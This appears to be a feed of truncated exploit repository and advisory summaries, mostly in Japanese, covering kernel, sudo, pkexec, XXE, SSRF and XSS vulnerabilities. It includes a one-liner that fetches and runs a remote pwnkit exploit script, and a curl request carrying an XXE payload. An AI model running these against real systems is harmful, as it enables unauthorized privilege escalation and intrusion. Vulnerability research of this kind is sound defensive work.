EUVD-2026-95096

An authorization bypass in the EWS FindItem handler of Zimbra Collaboration Suite 10.1.0 through 10.1.19 allows an authenticated user with EWS enabled to read complete mailbox items, including raw MIME and attachments, from arbitrary local accounts without a share or delegation grant...

GhostLock-H80GT

English | 中文 Honor 80 GT Privilege Escalation PoC: GhostLock CVE-2026-43499 A local privilege escalation exploit for the Honor 80 GT AGT-AN00 , CVE-2026-43499 — a use-after-free in the kernel rtmutex removewaiter path — plus a companion KernelSU kernel-module loading solution. In principle the bu...

CVE_2019_2215

CVE-2019-2215 - Android Binder UAF ローカル権限昇格 書き直された Proof-of-Concept / ローカル権限昇格 LPE エクスプロイトで、Android Binder ドライバーにおける Use-After-Free の脆弱性 CVE-2019-2215 を標的としています。 脆弱なカーネルビルドを vulnerablekernelbuilds フォルダに用意しました。Android 10 エミュレータ AOSP を作成し、それを使ってカーネルを実行してください。 emulator -show-kernel -no-window...

hp-slate7-root-kit

Android 4.1.1 搭載 HP Slate 7 2800 用 Root キット English | Русский このリポジトリには、ローカル脆弱性 CVE-2015-1805 を悪用して、ファームウェア 1.05.18 とカーネル Linux 3.0.8+ を搭載した HP Slate 7 2800 で永続的な root アクセスを取得するための、完全かつ自己完結型のキットが含まれています。このキットは実機のタブレットで実行され、その結果は新しい ADB セッションと通常の再起動後に検証されました。 これは汎用的な Android...

ghostlock-cve-2026-43499-4.19-k40

GhostLock — CVE-2026-43499 PoC（Qualcomm 4.19 カーネル） CVE-2026-43499 を悪用したローカル権限昇格 — rtmutex の removewaiter バグにより、struct rtmutexwaiter がウェイターのカーネルスタック上にダングリング状態で残る（kernel/locking/rtmutex.c、CWE-416 use-after-free）。 NebuSec/CyberMeowfia（IonStack/CVE-2026-43499、Apache-2.0）を Qualcomm Android 4.19.x...

CVE-2026-46300_Fragnesia

🧨 Fragnesia — CVE-2026-46300 Linux Kernel LPE 監査 & Exploit ツールキット · Page-Cache / XFRM ESP-in-TCP（espintcp）リグレッション インタラクティブ監査 → LPE 前提条件の検出 → エクスプロイト自動実行（確認後） ⚠️ 倫理的・法的警告 このツールは正当かつ認可されたセキュリティテスト専用 です — 契約済みペンテスト、ラボ/CTF、または自己所有のアセット。システム所有者の許可なしでの使用は犯罪行為です（UU ITE、Computer Fraud and Abuse Act...

CVE-2025-32463_exploit

CVE-2025-32463 — sudo "chwoot" chroot ローカル権限昇格 sudo の --chroot -R オプションを介した root へのローカル権限昇格。 sudoers エントリが一切ないアカウント 例: www-data を含む、あらゆるローカルユーザー に対して機能する。 sudo 1.9.14 – 1.9.17 は、sudoers ポリシーがまだ評価されている間 にユーザー指定の ディレクトリへ chroot する — つまり 認可判定の前 に。そして、その chroot の後、sudo の NSS ルックアップは攻撃者の chroot 内から...

CVE-2026-21019-Kubernetes-CronJob-Suspended-Execution-via-Time-Manipulation

CVE-2026-21019 – Kubernetes CronJobの時刻操作による一時停止/強制実行 プログラムコード（YAML + Pythonエクスプロイト） cronjobvuln.yaml - CronJob that checks current time without external validation apiVersion: batch/v1 kind: CronJob metadata: name: backup spec: schedule: "0 2 " jobTemplate: spec: template: spec: containers: - nam...

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe — CVE-2026-43284: Dirty Frag ルーム: CVE-2026-43284: Dirty Frag カテゴリ: Linux 権限昇格 作成者: マイページ 概要 Dirty Frag は、CVE-2026-43284 を中心に構築された、連鎖型 Linux ローカル権限昇格 LPE ルームです。目標は、提供された概念実証エクスプロイトを利用して、非特権シェルから root になることです。 初期列挙 作業ディレクトリを一覧表示すると、エクスプロイト用に提供されたファイルが確認できます: $ ls README.txt exp exp.c exp....

cve-2021-41773-lab

CVE-2021-41773 — 最小限の FastAPI ラボ ファイルシステム境界を検証する前にユーザー入力をデコードすると、ディレクトリトラバーサルやローカルファイルインクルージョン（LFI）につながることを示す、自己完結型の小さな FastAPI ラボです。Apache HTTP Server の脆弱性 CVE-2021-41773 をモデルにしています。 特徴 最小限で読みやすい FastAPI の例: 脆弱なサーバーとパッチ済みサーバー シングルエンコード（%2e）およびダブルエンコード（%252e）によるバイパスを実演します ルートエンドポイントには、curl...

Windows_LPE_AFD_CVE-2023-21768

CVE-2023-21768 ローカル権限昇格 PoC 著者: chompie & b33f デモンストレーション目的のみ。完全なエクスプロイトは、脆弱性のある Windows 11 22H2 システムで動作します。 書き込みプリミティブは、すべての脆弱性のあるシステムで動作します。 使用方法: WindowsAFDLPECVE-2023-21768.exe ここで は、昇格させたいプロセスのプロセス ID（10進数）です。 結果として、対象プロセスが SYSTEM に昇格します。 I/O Ring LPE プリミティブコードは、Yarden Shafir による I/ORing R/W...

poc-yaws-dav-xxe

Yaws WebサーバーにおけるXXE（CVE-2020-24379） 概念実証 テストイメージをビルド： docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . および/または コンテナを実行： docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod 次に実行： curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \ --data-binary @...

CVE-2021-4034

CVE-2021-4034 pkexec ローカル権限昇格エクスプロイト...

CVE-2026-106177

A kernel buffer overflow vulnerability in HP Sure Click versions prior to 4.4.33 may allow local privilege escalation or arbitrary code execution. HP has released version 4.4.33 to address this vulnerability...

Windows-EoP

いくつかのWindowsローカルEoPバグを開くには...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit と呼ばれる CVE-2021-4034 の PoC 使い方 make を実行して release フォルダを確認するだけです。あるいは、次のワンライナーがお好みなら: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 実行例 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit...

local-exploits

ローカルエクスプロイト さまざまなローカルエクスプロイト CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap のローカル root エクスプロイト。 コードの大部分は Qualys アドバイザリ（2020-02-24）から、 CVE-2020-8793 用に引用しています。 opensmtpd: 特権のない攻撃者による任意のファイルの読み取りは、情報漏洩または権限昇格につながる可能性があります fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6...

svg-cheatsheet

SVG SSRF チートシート SVG を処理するホストは、SVG の豊富な機能セットにより、SSRF、LFI、XSS、RCE に対して脆弱になる可能性があります。 これらの方法はすべて URI を指定します。URI は絶対パスまたは相対パスにすることができます。file プロトコルと HTTP プロトコルはテストが重要ですが、実装によっては他のプロトコル（例: PHP ストリームスキーム）もサポートされる可能性があり、javascript: や data: も含まれます。 このドキュメントには、SVG でこの機能を悪用するために私が知っているすべての方法のリストが記載されています。 S...

gitbook-xss

gitbook-xss CVE-2019-19596 GitBook 2.6.9 以前では、ローカルの .md ファイルを介して XSS が可能です。 MD ファイルにスクリプトを入力すると、gitbook によって実行される可能性があります。...

CVE-2026-22804

Termix 格納型XSS PoC GHSA-m3cv-5hgp-hv35 このリポジトリには、Termix の格納型クロスサイトスクリプティング XSS 脆弱性に対する Proof of Concept PoC エクスプロイトが含まれています。この脆弱性は、Electron 環境でのローカルファイルインクルージョン LFI やセッションハイジャックにつながる可能性があります。 脆弱性の詳細 アドバイザリ : GHSA-m3cv-5hgp-hv35 コンポーネント : ファイルマネージャー FileViewer.tsx 根本原因 : dangerouslySetInnerHTML を使用...